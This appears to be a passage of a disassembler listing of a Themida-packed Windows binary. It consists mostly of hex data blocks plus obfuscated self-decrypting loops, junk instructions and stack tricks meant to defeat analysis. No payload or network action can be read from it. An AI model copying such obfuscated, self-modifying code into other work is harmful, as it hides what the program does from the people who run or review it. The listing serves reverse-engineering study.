0A9FF67B0h dd 4D62A9Eh, 941DE4E0h, 33176BC3h, 1982BE20h, 8E9BC394h dd 3247A0B3h, 217BB307h, 6B4F7A8Fh, 0D6846D81h, 1794260h dd 63F884D2h, 629475F9h, 0EA74446Dh, 73280642h, 97B18930h dd 6D9842B8h, 0DACB2817h, 28156AC6h, 0F7073B34h, 262C8C6Ah dd 2A161h, 0D0EF3B00h, 0A693E203h, 84150BDh, 0DDE43AEBh dd 0AC93E906h, 2D900B7h dd 0F31CC7FEh, 0A34C97AAh, 0CF97A55h, 0E415CEFBh, 33E4E004h dd 9C6BC585h, 0FBDADE24h, 0B47F8471h, 941D5430h, 83E7DBC3h dd 10658265h, 6FC63E25h, 40E4760Dh, 0BD9F05D1h, 7F6645Eh dd 1A7EC2FDh, 0BCCC64ECh, 693A60CBh, 0A436BA4Bh, 60CB4400h dd 59F7CB3Ah, 35C746E7h, 0F5632Ch, 0DE8D0000h, 0A514F8D5h dd 549C605Fh, 0C3941978h, 5399B4C1h, 0F51809ECh, 0E327ABA6h dd 9BD65C54h, 81D8A6Dh, 0D4B02F3Dh, 59641080h, 85E56D9Bh dd 90AFF9F7h, 0D731AEBCh, 0E886D543h, 0E677DE26h, 0A498C381h dd 0A54CE08Ah, 1A426040h, 0B7FE66B5h, 0FED2369Ah, 7F1D599Ah dd 0ECFE76E4h, 7F446DDAh, 0C0B4898Eh, 1D42A88Ch, 15413C4Bh dd 30BA5446h, 5A80BFC5h, 996D5CABh, 64E8E130h, 4122CC20h dd 5531B5C7h, 0DA3072F9h, 0BDC746E0h, 0DF330E17h, 6B47E410h dd 583F0B8Ch, 192h, 72E1D82Ah, 0ACB78295h, 0DA193043h dd 75EED52Dh, 0A6BD8098h, 0EF35C81Fh, 9DE203D0h, 4252B3A0h dd 0EA3FE80Bh, 75F704DFh, 853295F1h, 35AB1AC5h, 98A31EBDh dd 88F49014h, 77BC394h, 0BC403DF8h, 5E61BB92h, 5D2F8Ch dd 0FA267B57h, 297AAB4Ch, 560642EAh, 0B189C394h, 0DE7E865Dh dd 0A514F8D5h, 48F76550h, 989EA236h, 0BE39D747h, 84719CE0h dd 0C682427Fh, 49C39438h, 90CF1D71h, 3E2E6C96h, 0E983AD03h dd 2D59CD5Fh, 0A2C3941Bh, 95A8F158h, 0B343ED21h, 0BD9EFE2Eh dd 0C4313B1Fh, 88FC70B3h, 1F3A60FCh, 0F31CC73Bh, 3741ABA6h dd 60FCCBBFh, 0C8665C3Ah, 39542840h, 60FCD1B5h, 86C563Ah dd 0C8D94AE2h, 28124471h, 6E601FDFh, 8146CC8Ch, 0BEh, 2E350C16h dd 589BB6C1h, 0F66D5CAFh, 21320119h, 5281BCC4h, 1B61FCE3h dd 0C9CE3F24h, 76BE6FF4h, 1E6B845Fh, 21CB3023h, 852DF98Dh dd 19FF4EC5h, 0E4760D6Fh, 85263B40h, 0FA4EB4BDh, 3A4EE670h dd 8D3A7AF4h, 61B29BB5h, 0F0748654h, 3A7AF494h, 6E09271Bh dd 0D7EA33E2h, 0F6C3D439h, 6AE3802h, 3A7AF442h, 0C042FDC5h dd 63B61CD8h, 9343133Dh, 8BB57CA3h, 6954AC59h, 90CF7AE5h dd 9F2150DDh, 0F7CED2BBh, 0A94E5F59h, 15F2615Ch, 0B8273500h dd 0E47C5030h, 0D05237Bh, 8B7F465Ch, 729B2A6Eh, 0DECF1421h dd 0B4AF23D5h, 89D8ACC0h, 6BAF4173h, 67D808ACh, 3D8BF03h dd 60000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 50CF7BCFh, 4055854h, 83000000h, 48704E8h, 0DB685C24h dd 89000029h, 3368241Ch, 8900005Eh, 0EC812414h, 4, 0B8240489h dd 3C640977h, 14439705h, 5ACC3577h, 0C389B569h, 148B5458h dd 4C48324h, 0F2BB5350h, 0B8738D4Dh, 738D4DFAh, 15BD829h dd 581889D0h, 5A2434FFh, 0FF04C483h, 815B2434h, 4C4h, 4D21E900h dd 0D30DFFFAh, 10296676h, 0CDB944CBh, 0ABB8F4F0h, 3061131h dd 85C650C5h, 60B2845h, 17256847h, 0B5FFCF38h, 60B0B01h dd 390D858Dh, 0D0FF060Bh, 858DD88Bh, 60B24BDh, 1046850h dd 0D3FF0000h, 284585C6h, 6853060Bh, 8307F8BFh, 0B01B5FFh dd 858D060Bh, 60B390Dh, 8589D0FFh, 61115A3h, 2715BD83h dd 0F00060Bh, 0B84h, 0A59D8B00h, 0E9060B21h, 5, 0BBh, 1006800h dd 0B58D0000h, 61115A7h, 95FF5356h, 60B0071h, 15A7B58Dh dd 0F0030611h, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh dd 0FFFFFFEDh, 8D0006C6h, 1115A785h, 95FF5006h, 61115A3h dd 4BE0FF58h, 907E8661h, 0EC2A9EAAh, 1F4EB405h, 0A249F462h dd 0D9526194h, 0D02E5206h, 954CA4F4h, 0DB0F423Ch, 8D455103h dd 8D13E367h, 1133738Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0E9FD14Ch, 0CB816602h dd 8D89CC23h, 60B174Dh, 8A5B529h, 85C7060Bh, 60B0119h dd 60F4h, 4860Fh, 0BF660000h, 85C74AFCh, 60B1009h, 0 ; --------------------------------------------------------------------------- and eax, 20D1EA8Dh push dword ptr [ebp+60B1ADDh] sub eax, 2EBFCB8Ch call dword ptr [ebp+60B0AC5h] push 0 call dword ptr [ebp+60B32DDh] mov eax, eax jmp short loc_59F44B ; --------------------------------------------------------------------------- dd 0FFA63F3Ch, 0F8407E56h, 6AEEACA2h, 5E8C46B7h, 447F7BB2h dd 887ECE7Dh, 0F38389B4h, 0CFD19C19h, 135270BDh, 0C600A4E7h dd 0B9040A6h ; --------------------------------------------------------------------------- mov fs, word ptr [esi+ecx*8] loc_59F44B: ; CODE XREF: Themida_:0059F41Aj call sub_59F45A ; --------------------------------------------------------------------------- dd 0D1503E8Eh, 7631F31Bh db 0C4h, 34h ; =============== S U B R O U T I N E ======================================= sub_59F45A proc near ; CODE XREF: Themida_:loc_59F44Bp add eax, 3C227977h pop ebx or eax, 6A4659CAh add ebx, 724Ah xor ecx, ecx cmc loc_59F470: ; CODE XREF: sub_59F45A:loc_59F4F0j mov edi, [ebx+ecx] adc eax, 31057E8Eh xor edi, 2E8D4308h add ax, 103Fh xor edi, 6B3D8CDDh sub ax, 0EB6Fh xor edi, 49A6FF4Fh xor [ebp+60B0671h], esi mov [ebx+ecx], edi jp loc_59F4AC pusha mov [ebp+60B0AD1h], eax popa loc_59F4AC: ; CODE XREF: sub_59F45A+44j mov dx, bx sub ecx, 10B873B1h cld add ecx, 10B873ADh clc cmp ecx, 0FFFF8E68h jnz loc_59F4E7 push ebx mov eax, 25C397C0h pop eax jmp loc_59F506 ; --------------------------------------------------------------------------- db 4Ah, 91h, 0E4h dd 2DA9DA9Dh, 75278022h, 0F52F6BACh ; --------------------------------------------------------------------------- cmc retn ; --------------------------------------------------------------------------- db 14h ; --------------------------------------------------------------------------- loc_59F4E7: ; CODE XREF: sub_59F45A+69j jb loc_59F4F0 push ecx clc pop edx loc_59F4F0: ; CODE XREF: sub_59F45A:loc_59F4E7j jmp loc_59F470 ; --------------------------------------------------------------------------- db 16h, 0F6h, 11h dd 0DBE6EACEh, 0F5C00FE4h, 0D1102FA0h db 5Bh, 0D8h ; --------------------------------------------------------------------------- loc_59F506: ; CODE XREF: sub_59F45A+76j call near ptr sub_59F51B aaa mov al, ds:7341B011h and edi, ebx ja short loc_59F552 setalc rep xor byte ptr [ecx-21h], 47h sub_59F45A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59F51B proc far ; CODE XREF: sub_59F45A:loc_59F506p mov [ebp+60B03D5h], ecx pop eax sbb dx, 78BDh add eax, 6F33h mov [ebp+60B0F9Dh], ecx sub edi, edi pusha jmp loc_59F54C ; --------------------------------------------------------------------------- db 0Ah dd 7AC51402h, 5256ABE6h, 0CD5499C9h, 0E67762DDh ; --------------------------------------------------------------------------- loc_59F54C: ; CODE XREF: sub_59F51B+1Bj sub edx, [ebp+60B27D1h] loc_59F552: ; CODE XREF: sub_59F45A+B9j popa loc_59F553: ; CODE XREF: sub_59F51B+88j mov ebx, [eax+edi] add ebx, 1AA16DBBh mov esi, edi sub ebx, 557E9913h jmp loc_59F57D ; --------------------------------------------------------------------------- db 7Ch, 8Bh, 0Bh dd 67489FBBh, 48D63052h, 8EB1E864h, 414DD3F2h db 66h ; --------------------------------------------------------------------------- loc_59F57D: ; CODE XREF: sub_59F51B+49j add ebx, 5A4B2CBEh jp loc_59F58A clc loc_59F58A: ; CODE XREF: sub_59F51B+68j mov [eax+edi], ebx adc edx, 0E8F1357h mov [ebp+60B0D3Dh], eax sub edi, 4 cmc cmp edi, 0FFFF917Ch jnz loc_59F553 jmp loc_59F5BE ; --------------------------------------------------------------------------- dw 912Eh ; --------------------------------------------------------------------------- inc eax xchg eax, ebp dec ebx cmp dl, [ebp-2Bh] aaa retf 41F1h ; --------------------------------------------------------------------------- and cl, [eax+ebp] lahf loc_59F5BE: ; CODE XREF: sub_59F51B+8Ej call near ptr sub_59F5CF lodsb or eax, 4E0A607Bh push ds db 65h aaa pop edx lodsb inc esi sub_59F51B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59F5CF proc far ; CODE XREF: sub_59F51B:loc_59F5BEp mov [ebp+60B151Dh], esi pop edx pusha mov eax, 14346EA7h mov [ebp+60B16ADh], edx popa add edx, 6BD6h or eax, 6B495F1Fh mov ebx, 1AC4h pusha mov ecx, [ebp+60B0031h] mov [ebp+60B2E65h], edx popa loc_59F602: ; CODE XREF: sub_59F5CF+AAj mov ecx, [edx] mov eax, 40047A2Dh sub ecx, 6C566995h pusha mov esi, [ebp+60B0AB1h] cmc popa xor ecx, 37D46AB2h mov [ebp+60B1631h], edi add ecx, 753AFA0h sub [ebp+60B328Dh], eax push ecx mov [ebp+60B2A71h], edi pop dword ptr [edx] or [ebp+60B0619h], ebx sub edx, 4 mov ax, cx sub ebx, 1 jnz loc_59F66B mov di, dx jmp loc_59F68D ; --------------------------------------------------------------------------- adc [ebx+54h], edi mov bh, 0 push ebx retf 0B785h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 6Dh dd 7BCFFFD5h db 0BAh, 53h, 24h ; --------------------------------------------------------------------------- loc_59F66B: ; CODE XREF: sub_59F5CF+7Cj pusha sub [ebp+60B0BA1h], edx xor [ebp+60B22FDh], edi popa jmp loc_59F602 ; --------------------------------------------------------------------------- dw 39DDh dd 0FEC251DBh, 86D6B6EAh, 97C1AD84h db 0F3h ; --------------------------------------------------------------------------- loc_59F68D: ; CODE XREF: sub_59F5CF+85j lea ecx, [ebp+61136BFh] push 0 push edx call sub_59F69E and [edx-3Dh], bl sub_59F5CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59F69E proc near ; CODE XREF: sub_59F5CF+C7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_59F69E endp ; --------------------------------------------------------------------------- dw 2AC5h dd 3DB589E5h, 89060B33h, 0B174D8Dh, 0DE806h, 0A1380000h dd 0A8040540h, 0D04842F9h, 8BA9C22Ah, 0B080985h, 0BD8B5E06h dd 60B025Dh, 11985C7h, 6410060Bh, 858B0000h, 60B0739h dd 3F63B7BAh, 985C71Bh, 60B10h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E893C357h dd 11h, 2EFFEEBBh, 633A612Dh, 371244CEh, 39F19231h, 9ABF66C7h dd 0B5FF5ABCh, 60B2355h, 2C90BF60h, 8E82B71h, 9D000000h dd 34C82D1Fh, 80968DBEh, 6159CFE4h, 0AC595FFh, 958B060Bh dd 60B1169h, 95FF006Ah, 60B32DDh, 0FEBC08Bh, 5B603283h dd 1E30AAB9h, 3C270157h, 0EB7DADC8h, 0B61B9026h, 8EAFEC33h dd 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h, 55A3D25Dh dd 50EF50h, 0 dd 0E9000000h, 687h, 11385768h, 482DE906h, 0F668FFFAh dd 0E9061138h, 0FFFA4823h, 1139BD68h, 4819E906h, 5D68FFFAh dd 0E906113Ah, 0FFFA480Fh, 113B5868h, 4805E906h, 768FFFAh dd 0E906113Ch, 0FFFA47FBh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh dd 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h dd 0A2F710C3h, 0ADBF4C97h, 852A4D39h, 8D73C2C5h, 3AC8h dd 0D5DE5000h, 1DE2E60Eh, 1D65C394h, 518C3339h, 0C5D7635Ch dd 0C208002Eh, 0BE483CB0h, 0FBDFC394h, 9AB7C04Dh, 615CA550h dd 0D48FB99Dh, 94BE0242h, 5A7583C3h, 999E0F99h, 6F948AA4h dd 40E4760Dh, 0BD9EFD91h, 9050241Eh, 3A60C3F0h, 3046B725h dd 0AF59BD01h, 0E900F8F5h, 0C02C35CEh, 238h, 3632462Ch dd 0E70FDD66h, 0BD9F05A2h, 5C28BCCEh, 0D33A60C5h, 0EC241EFh dd 60C5E2E6h, 0E0E4083Ah, 673A60C5h, 7A5EA413h, 0D52ADB05h dd 62064E8h, 4EAF3F7Eh, 0D66D0F06h, 0D445FA04h, 0E904F890h dd 0E809DD0Bh, 4588589Dh, 0B91897Dh, 0E358EA70h, 81D186F3h dd 0BE46E044h, 922216D6h, 1A8B51A9h, 615CA909h, 0D94DDF0Dh dd 0EA395AADh, 0C2862E22h, 45EA395Ah, 74EF197Dh, 0B4B38E9Bh dd 56A587F2h, 944E0101h, 89000004h, 709D467Dh, 0DECF1425h dd 8865FED3h, 77904372h, 72C1122Dh, 0B588906Bh, 53841AEh dd 0E8E731DEh, 0BC899A0Bh, 1E965AA7h, 0C585256Ah, 0DE960EFDh dd 0E2E60ED5h, 65C3941Dh, 5555391Dh, 862E3C47h, 0BD9F1CF3h dd 0A0D50E74h, 0BBC0DC18h, 0FA083DB1h, 0D31D446Bh, 7DCB2F5Bh dd 665AA030h, 431EC501h, 4C50DFE0h, 50812537h, 0DDE6D2E0h dd 831911E5h, 92FA72F8h, 6DE8D92Eh, 31B5C715h, 8CA66255h dd 0A657E0DAh, 10C10EF9h, 816CFE28h, 6D9A5974h, 86222D18h dd 7D311FDAh, 3F53295h, 0DE280000h, 84937CE7h, 3241AEB5h dd 0D32BC41Fh, 829677ECh, 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h dd 0EA094450h, 6DDE83Dh, 8BFF77F5h, 1CC58525h, 0D5DE37ADh dd 881414F8h, 68BC69F3h, 7B95E95Dh, 51D567F1h, 0C3941D35h dd 1D2B5FD7h, 46BCC394h, 9F6781F9h, 0BD9F2A6Eh, 16ED40FFh dd 0E9E38AA7h, 6C306EF5h, 3CE105D7h, 5C44714Bh, 0E56964B1h dd 0F1CCD8A1h, 201FC90Dh, 90E510DAh, 4451BEA5h, 0A8C40CD2h dd 0E70F199Ah, 3077EEE3h, 303A1E64h, 77EEC8BCh, 77B5F30h dd 0A7234BD5h, 283077EEh, 0DCDC34D2h, 3DB1BBC0h, 4E7CFE88h dd 0F2EC539Dh, 958EC247h, 0A9691DD5h, 84FE2E4Ch, 1AEBA7A0h dd 1AE8927Ah, 32EA5h, 38176300h, 8EBBCA3Bh, 5069B855h dd 251C6283h, 0F4CBD13Eh, 6A81E86Fh, 0DB342F16h, 8B64FFC2h dd 7491427Dh, 3CCD1623h, 24CCB82Ch, 0F443C585h, 0F8D5DE0Ch dd 0F3881414h, 0E72EDF69h, 29A83CEAh, 6BD9F26h, 99D0273Ch dd 78000001h, 0CE991EBDh, 0EC8D850Bh, 0C24C5342h, 0B4F9209Dh dd 0ABFD2331h, 0F0D4289Ch, 2D364656h, 0E92B73Fh, 0AF93BD9Fh dd 0AB8EBE48h, 5E3E375Ch, 0BA9F17C5h, 8BB928C0h, 0D1ABC3B7h dd 640CA04Ah, 0DB43350Bh, 7F8875E7h, 23749142h, 6FABD916h dd 927087B4h, 28E3Dh, 58778300h, 2E1B6A9Bh, 0F0C9D835h dd 457C8263h, 142B719Eh, 8A6188CFh, 7B944F76h, 2BC41F22h dd 9471E2DDh, 5CADB683h, 276C188Ch, 14E3C585h, 0F81EBDACh dd 196D81B4h, 0EEC394A9h, 0EB7B6B94h, 8C997492h, 0CFADCDB1h dd 8A14A6B4h, 4A3E011Bh, 7C8AFE76h, 251DC394h, 7D3E7B0Bh dd 4B8FBD9Fh, 85D7E7A8h, 0FFE6CF7h, 77BCFFAh, 7D3551D5h dd 40BA3A61h, 65A0C4A6h, 0EA446A65h, 25BACE66h, 0C30D307Eh dd 7E25DFABh, 766A5030h, 250440E4h, 0B78B307Eh, 66F07C53h dd 7E25BACEh, 1B350D30h, 9F7C1C4Bh, 0F18A12C5h, 63D6C36Bh dd 9557D897h, 69217511h, 0AC80FA9Dh, 522E01BEh, 56E1DC28h dd 6C9A8A5Bh, 0B8F884E4h, 20699F43h, 0F588B74Fh, 0B0D4DFCAh dd 0C02D3F13h, 866886BBh, 4D708974h, 67ABD3A3h, 3E04E364h dd 99B4C12Ch, 6D58AD5Ah, 6393ECE2h, 542B1F27h, 193h, 9E457C86h dd 0C82B2671h, 66FDCCDFh, 91427189h, 0C2112C74h, 8B916C73h dd 397EAFB4h, 0E62EDF04h, 8E9B74EFh, 915BA0B3h, 8526691Dh dd 0A90FFEC5h, 14F8D5DEh, 0D8288814h, 0BA07E4ABh, 7CF07A5Eh dd 0BD9F818Dh, 0DD3B3802h, 0E4760D6Fh, 85062740h, 8852A8BDh dd 5DA8081Dh, 40A4986Ch, 90E41193h, 53FDD1A5h, 289CA9FAh dd 0FC02ACF0h, 391D71C5h, 0CF1EBB33h, 2B6F446Bh, 90E59AC1h dd 2129C2CFh, 6FB86507h, 13648152h, 53885226h, 0CF6C8B50h dd 0B4082660h, 658953E8h, 4E42B208h, 3F45B0h, 0D61169E6h dd 9280289Ah, 0E41EF151h, 0D9000000h, 806DF6CDh, 6E9F4475h dd 0D8352E23h, 8760F3C2h, 2291427Dh, 0E5D8203Bh, 0B588917Eh dd 183741AEh, 0ECD92ADBh, 0CE668A77h, 0C58521BAh, 6FC6BE0Dh dd 77E4760Dh, 9066DD3Eh, 0AF41EF8Fh, 85DB6807h, 14F9BDh dd 9A0BD135h, 0F0D4B885h, 0FE0BF256h, 279410C3h, 0C98FA605h dd 6FEFE3ACh, 0CB2CC976h, 5FA8A543h, 0B569E62h, 0B297865Bh dd 5AE05461h, 6531B6D2h, 78C13961h, 0B2AF1322h, 0AB9BF7F6h dd 7A8F7471h, 2E7B944Fh, 63477E86h, 83C76FF9h, 4616531h dd 0CCB82C3Eh, 43616531h, 0F379D17Fh, 77DBF202h, 218F513h dd 1ED24F33h, 316C188Ch, 9FE36165h, 51B63771h, 3DEA0944h dd 9E0FDDE8h, 0F2D6BA97h, 181BFC54h, 0A5000000h, 0D8431EBDh dd 0E24EAB99h, 24D19344h, 3F13E7DEh, 0BA0E434Eh, 0DEB2A846h dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh dd 2EB5F66h, 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 34CB68h dd 242C8900h, 54CE68h, 240C8900h, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 50243C89h, 11373CB8h, 8BC18906h, 0C4832404h dd 3C8B5404h, 4C48124h, 56000000h, 8950CE89h, 84789F0h dd 34FF5E58h, 0C4835F24h, 240C8B04h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0E95C243Ch, 0FFFA41BFh, 0B3120845h, 5A9E9F21h dd 318D9B3Dh, 0B8A2F948h, 6113D10h, 0E0FFC503h, 7283ACF8h dd 276FA485h, 482B55FDh, 5BA38797h, 7957A13Fh, 55BEBD2Bh dd 12E8h, 3F023700h, 0C555AA2Ch, 3D0CAD91h, 7CB7A0ADh dd 0BAB01C43h, 185623Ah, 0A0D28058h, 71DAC081h, 0CD800000h dd 1C4268F1h, 5BF50000h, 0FC8086BAh, 0E830FF3Ah, 6, 0FB3F67CBh dd 5F5AE578h, 1AD28160h, 8B2B286Dh, 0F78161CFh, 5C741F5Dh dd 81D2CD80h, 64A797C7h, 9FF78101h, 0F82AC701h, 0FE83889h dd 86000000h, 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h, 0F18B77A1h dd 7E88159h, 663DDD15h, 0C081D68Bh, 3DDD1503h, 9E8h, 0D8FD4C00h dd 0A0E1F16Ah, 0E960C69Bh, 0Ah, 0DDEE4940h, 0FA36E745h dd 8FB9BE58h, 61012E42h, 1EB8359h, 11850Fh, 1CE90000h dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F82D593Bh, 0FFFF64E9h dd 0B97275FFh, 0C4FDA033h, 0EBAC4235h, 8, 0F0702B00h, 4BAE978h dd 0AB680000h, 0E906113Fh, 0FFFA409Bh, 11403768h, 4091E906h dd 6668FFFAh, 0E9061141h, 0FFFA4087h, 362D246Eh, 60F3CED9h dd 9E457487h, 0C92A2971h, 7AF9C4DCh, 237994DBh, 0D126C71Ch dd 8E9677ECh, 3643ACB7h, 3933D81Bh, 8523D1B5h, 71E756C5h dd 17FBDADEh, 0F3605DA6h, 9842D9A3h, 7585D10Eh, 0EE292471h dd 0C5B4BA1Dh dd 9A6A84B3h, 0BD9F8F1Bh, 0CA1AEED4h, 3A61BCBAh, 6ED2ED3Bh dd 5A96ABFh, 3A61BC41h, 3498FCC6h, 7A8B09h, 0C236B7EDh dd 2C36922Bh, 30106h, 2D46EE00h, 0AD06B31h, 0CEB28D9Bh dd 1A925C8Ah, 0BD9F052Fh, 9384F20h, 0A3F84185h, 8145BA9Eh dd 3F046178h, 64BC324Ah, 0AAA7F059h, 4100A4B6h, 0A3411055h dd 0F8162372h, 0AB35271Bh, 107B4703h, 4501A535h, 0CA35107Bh dd 153307F0h, 849FFD3Dh, 70A3DE56h, 5B344B1Bh, 47EF7D4Ch dd 33ED3003h, 905ABE84h, 0B28D9706h, 1592AF85h, 0B2586BEh dd 1FC4F102h, 5FA8A5EEh, 8FD95071h, 0E42BEC66h, 75000002h dd 0DCC92A21h, 8A7BF8C9h, 7491427Fh, 23CC172Eh, 0C67DE6D9h dd 19247C9Fh, 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h dd 0C58522DEh, 0BD7AE251h, 8FDAEA1Eh, 94776367h, 619EE4C3h dd 0E4554E16h, 0FFD3A79Eh, 812F4D51h, 6BBD5A79h, 0E9282103h dd 1D915BBFh, 0BD8566E8h, 26D7057Dh, 133438D2h, 0F5037660h dd 5FA54291h, 0B549C60h, 0D13C842Ah, 785B2F47h, 432C3A7Bh dd 523073Ah, 5C2FF08h, 866373D5h, 5843040Eh, 0E9000002h dd 50BDA69Dh, 3EEF7445h, 0E805DEF3h, 57B0A392h, 52E1724Dh dd 95A8F00Bh, 6558A14Eh, 0C80711FEh, 9CA9FA2Bh, 3EB6BA47h dd 0C5855D4Ah, 6FF66EDDh, 40E4760Dh, 0BD850E85h, 0FE4C300Ah dd 44C8F70Fh, 6E1EE600h, 0BB3A7ADCh, 0F514ECF9h, 0DC2C2ECDh dd 19Eh, 0F8D5DE38h, 6550A514h, 47DCA0FEh, 198C1195h, 82A1BD9Fh dd 218D970Fh, 0F3CEDD3Dh, 0F3D7CB0Fh, 0F4A7270Fh, 26723A60h dd 0F5BC6DA7h, 43952C34h, 73000000h, 9D4150BDh, 0F5C9BD88h dd 55277791h, 29881CCEh, 6BD9F05h, 1382483Ch, 0F43370Ah dd 0AA4479BEh, 60CBAADAh, 0A8257F3Ah, 35C6B950h, 0BA902Ch dd 0FE080000h, 79CDFC0Fh, 0C7B9CD05h, 340E3A60h, 50BD241Ah dd 43870B4Ah, 1D711599h, 8CF6C394h, 0A39EEB62h, 3DAE0DDFh dd 2684FDAh, 9CE46987h, 8529BBA1h, 0C39436C1h, 7ED27C46h dd 0CFDA7A8Fh, 0D6CA0EF2h, 0C66EBB62h, 0DF3387BEh, 48F678FBh dd 35C39433h, 500ED5E0h, 8125374Ch, 0BD99AA46h, 0BC69F3C7h dd 6D9A5964h, 2DDF2817h, 0D2866060h, 1299F70h, 6EB80000h dd 14638C57h, 0C2D13E25h, 63BB548Fh, 1266875Ch, 5A813023h dd 9D467983h, 0CD162B70h, 7AF9D420h, 964D788Dh, 1B6F8765h dd 0ECC5855Ch, 0DADEA71Dh, 1DED990Dh, 1862C394h, 0BEC73624h dd 65826583h, 0C63E2510h, 0D223D5DEh, 0A065F264h, 6DDCA084h dd 803F2D18h, 0C21CF7C0h, 7E4B5C7Bh, 0B452B68Ah, 3F44B133h dd 0C4D8E402h, 9E39ADBFh, 0EFBD9E73h, 455441ABh, 3A4EE674h dd 8D3A6159h, 47D19BB5h, 83774E56h, 54ACA14Fh, 64648A69h dd 0E53A6159h, 32BEA590h, 672B938Dh, 0A5192611h, 0D33AD428h dd 3802F6C9h, 3B8FBACDh, 783229C7h, 2E000000h, 347C089Ch dd 169E3A61h, 3A613472h, 0C8328DF5h, 0D6F381Eh, 8940E476h dd 6BD850Eh, 94E1483Ch, 3C42B3B9h, 9F08EB05h, 1BCBBF8Ah dd 0BF9BCAE5h, 0D53ACBE1h, 0E26EF5C0h, 90A8DC50h, 0DB3FB899h dd 0FAD7202Dh, 605FA716h, 0EED52D9Ch, 6960B31Ah, 7677ADE5h dd 2ABBF904h, 5E85B0C5h, 55B264B1h, 0A2166FA9h, 42A69BE0h dd 0A5509A6Eh, 52C96752h, 3, 0DE9C84FAh, 0A009FDD4h, 27967A57h dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh dd 0DFC4079h, 0CF7BCFFAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 4BEFh mov [esp], edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push esi push 17E45C15h pop esi shl esi, 4 push esi not dword ptr [esp] pop esi sub esi, 5D9E1F5Fh xor esi, 220D21E0h mov edi, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push edi pop dword ptr [ebp+8] mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- or [ecx-1B392166h], dl dec eax mov dl, 0B5h mov dl, 0 les edi, [eax+61142B4h] add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0FEh, 18h, 0C3h dd 843E4D36h, 0ADBEBE71h, 42D7646Dh, 0D1F3161Fh, 45E55E6Fh dd 9E87144Fh, 0EE847138h, 0FDD5393Fh, 37034705h, 3016B80Bh dd 0D5096829h, 0B083F25Eh, 0A2F23D43h, 73A374h, 7A92D019h dd 256FF21h, 0A3865028h, 981A837h, 1E84B509h, 358D8D54h dd 6A061144h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0B41FC356h, 9C73346h, 0B1E9585h dd 4D8D8906h, 8B060B17h, 0B33A995h, 1985C706h, 24060B01h dd 8B000064h, 985C7F3h, 60B10h, 60000000h, 12E9h, 932C200h dd 32FC3777h, 2D276873h, 1BEE5FE0h, 893751D6h, 0B2735BDh dd 0B5FF6106h, 60B1A31h, 58F0FFCh, 66000000h, 5AA1F381h dd 0AC595FFh, 0BA66060Bh, 6A564Ch, 32DD95FFh, 0C08B060Bh dd 0B5CB5DEBh, 0D7E21451h, 5F4F2183h, 33005787h, 0B1C53559h dd 0B03E0E1h, 652E2753h, 0C29642C7h, 0FD72F1DDh, 1DBF5B6Eh dd 44CA1022h, 627C48DEh, 70DB12A0h, 34796580h, 893C76F9h dd 33F1AC7Bh, 0B9C5ED78h, 0E83AC46Ch, 3C98E737h, 209FE34Bh dd 5AFFFA67h, 0BF28ACE4h, 0EA6F8B00h, 0E8BF590Dh, 0Dh dd 876A9EEFh, 0C82303F8h, 0A45F76DAh, 0A9BD29B8h, 5A060B1Fh dd 0C281DF8Bh, 6C05h, 5479F5B9h, 24E9817Dh, 0FF7D545Fh dd 5BD8B32h, 5E060B15h, 3C98D89h, 0F681060Bh, 32CEB760h dd 0E3E38166h, 3C68113h, 6056105Ah, 1A958D89h, 0BD2B060Bh dd 60B03A9h, 8BC68161h, 562511E9h, 234D858Bh, 895F060Bh dd 10E932h, 40C90000h, 98BA1E9Dh, 1E57B599h, 7FE56F4Ch dd 0EA83108Eh, 2890F01h, 0B7000000h, 4A4A4AB1h, 850F49F5h dd 1Dh, 850Fh, 2AE90000h, 0EF000000h, 0B8DA54Dh, 1620A875h dd 1177682h, 2FF2F2E7h, 4D8D0152h, 0E9060B06h, 0FFFFFF6Fh dd 0DB36965Eh, 93804E94h, 57B7B163h, 6A8D8DF0h, 6A061146h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0C02C350h, 10325308h, 41B58BFAh, 8B060B08h dd 4D8D89D6h, 8B060B17h, 0B20F59Dh, 1985C706h, 1C060B01h dd 89000061h, 0B2EBDB5h, 850F06h, 0C7000000h, 0B100985h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 